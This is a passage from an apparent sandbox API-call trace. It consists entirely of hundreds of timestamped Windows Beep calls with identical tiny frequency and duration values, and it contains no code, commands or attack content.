dwDuration=0x1) returned 1 [0253.010] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.025] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.041] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.042] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.044] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.044] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.045] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.046] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.047] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.048] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.049] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.050] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.066] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.082] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.097] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.098] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.100] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.115] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.131] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.146] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.147] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.148] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.164] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.180] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.180] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.181] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.182] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.183] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.184] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.185] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.186] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.187] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.189] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.190] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.205] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.221] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.237] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.237] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.238] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.239] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.240] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.241] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.242] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.243] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.245] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.246] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.262] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.277] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.294] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.296] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.297] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.298] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.299] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.300] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.301] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.302] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.303] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.318] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.334] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.350] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.351] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.352] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.353] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.354] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.355] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.356] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.357] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.358] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.359] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.375] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.391] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.407] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.408] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.409] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.410] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.411] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.412] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.413] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.414] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.415] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.417] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.432] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.448] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.464] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.465] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.465] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.466] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.467] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.468] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.470] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.471] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.472] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.474] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.489] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.505] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.521] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.522] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.523] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.524] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.525] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.526] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.527] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.528] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.529] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.530] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.546] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.561] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.579] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.581] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.582] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.583] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.584] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.585] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.586] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.587] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.602] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.618] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.635] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.636] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.637] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.638] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.639] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.640] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.641] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.642] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.643] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.644] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.659] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.675] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.691] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.692] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.692] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.693] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.694] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.695] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.696] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.698] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.699] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.699] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.701] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.717] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.732] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.748] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.749] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.750] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.751] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.752] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.753] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.754] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.755] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.756] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.757] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.773] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.789] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.804] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.831] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.832] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.833] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.834] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.835] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.836] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.837] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.838] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.839] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.840] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.855] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.871] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.887] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.888] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.888] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.889] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.890] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.891] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.892] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.893] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.895] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.895] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.897] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.912] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.928] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.944] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.945] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.945] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.946] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.947] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.948] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.949] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.950] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.951] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.952] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.953] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.969] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0253.985] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.007] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.008] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.009] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.010] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.011] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.012] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.013] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.014] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.015] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.016] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.017] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.020] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.021] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.037] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.052] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.068] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.069] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.070] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.071] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.072] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.073] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.074] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.075] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.076] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.077] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.078] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.094] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.109] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.125] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.126] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.127] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.128] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.129] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.130] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.131] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.132] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.133] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.134] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.135] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.150] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.166] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.182] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.183] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.183] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.184] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.185] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.186] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.187] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.188] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.190] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.192] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.207] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.223] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.241] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.242] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.243] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.244] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.245] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.246] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.247] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.248] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.250] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.251] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.266] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.282] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.299] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.300] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.301] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.303] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.303] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.304] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.305] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.306] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.307] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.323] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.338] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.354] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.355] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.356] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.357] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.358] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.359] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.360] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.361] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.362] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.363] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.364] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.379] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.396] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.411] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.412] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.413] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.414] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.415] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.416] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.417] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.418] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.419] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.420] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.421] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.436] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.452] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.468] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.468] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.469] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.485] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.501] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.516] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.517] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.518] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.534] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.550] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.550] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.551] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.552] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.553] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.555] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.555] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.557] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.557] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.559] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.560] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.575] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.591] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.606] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.607] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.608] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.624] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.639] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.655] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.656] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.657] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.674] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.688] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.689] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.690] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.691] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.692] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.693] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.694] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.695] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.696] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.698] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.698] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.714] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.730] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.746] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.747] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.748] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.764] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.779] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.796] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.797] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.798] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.813] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.829] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.845] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.846] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.847] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.863] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.878] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.894] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.894] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.896] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.911] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.927] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.942] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.958] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.959] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.960] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.975] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0254.991] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.017] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.025] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.040] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.056] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.071] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.073] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.089] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.104] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.120] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.136] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.136] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.137] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.153] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.169] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.184] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.185] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.186] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.187] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.188] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.189] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.190] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.191] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.192] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.194] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.196] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.211] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.226] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.249] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.258] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.259] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.260] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.261] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.262] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.263] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.264] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.265] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.266] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.267] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.268] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.269] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.270] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.271] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.272] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.273] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.274] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.275] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.276] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.277] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.292] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.308] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.324] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.339] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.340] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.341] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.342] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.343] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.344] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.345] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.346] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.347] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.348] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.349] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.365] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 